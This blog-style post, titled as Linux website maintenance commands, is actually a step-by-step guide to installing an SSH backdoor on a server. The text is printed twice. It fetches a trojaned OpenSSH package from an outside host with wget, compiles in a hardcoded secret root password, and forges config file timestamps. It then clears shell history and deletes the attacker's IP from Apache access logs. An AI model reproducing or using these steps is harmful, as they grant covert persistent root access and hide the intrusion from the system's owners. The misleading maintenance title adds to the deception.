LINUX下网站维护命令
2014-03-20 18:00
148 查看
文章作者:pt007@vip.sina.com
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://192.168.1.188/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh
4、设置ssh后门的登录密码:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish password
5、继续安装:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd restart
6、登入后门:
ssh -l root 192.168.1.188
密码:test123
echo >/root/.bash_history //清空操作日志
7、清除apache日志:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/210.73.64.100/d' access_log*
附件地址:ssh.rar
http://u.115.com/file/f455c750ee
1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
3、下载并安装ssh后门:
shell-# wget http://192.168.1.188/sshbd.tgz
shell-# tar zxvf sshbd.tgz
shell-# cd openssh
4、设置ssh后门的登录密码:
vi versio.h
#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2
vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish password
5、继续安装:
shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh
shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd restart
6、登入后门:
ssh -l root 192.168.1.188
密码:test123
echo >/root/.bash_history //清空操作日志
7、清除apache日志:
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/210.73.64.100/d' access_log*
附件地址:ssh.rar
http://u.115.com/file/f455c750ee
相关文章推荐
- linux下动态网站维护基本命令小结
- 程序员必备:Linux日常维护命令
- Linux入职基础-5.20_命令dd实战磁盘维护(应用实战4)
- linux下ab网站压力测试命令
- Linux Web服务器网站故障分析常用的命令
- 常用linux维护命令
- Linux 抓取网站命令
- Linux维护排错常用命令
- [Linux] 常用 linux 系统命令及维护备忘
- linux 命令大全网站
- Linux日常维护命令
- linux 服务器常用维护命令
- 动态网站维护基本命令
- linux中oracle的日常维护命令
- [Linux] 常用 linux 系统命令及维护备忘
- linux 命令查询 很不错的网站
- linux 命令学习网站
- Linux 维护常用命令[转]
- linux中oracle的日常维护命令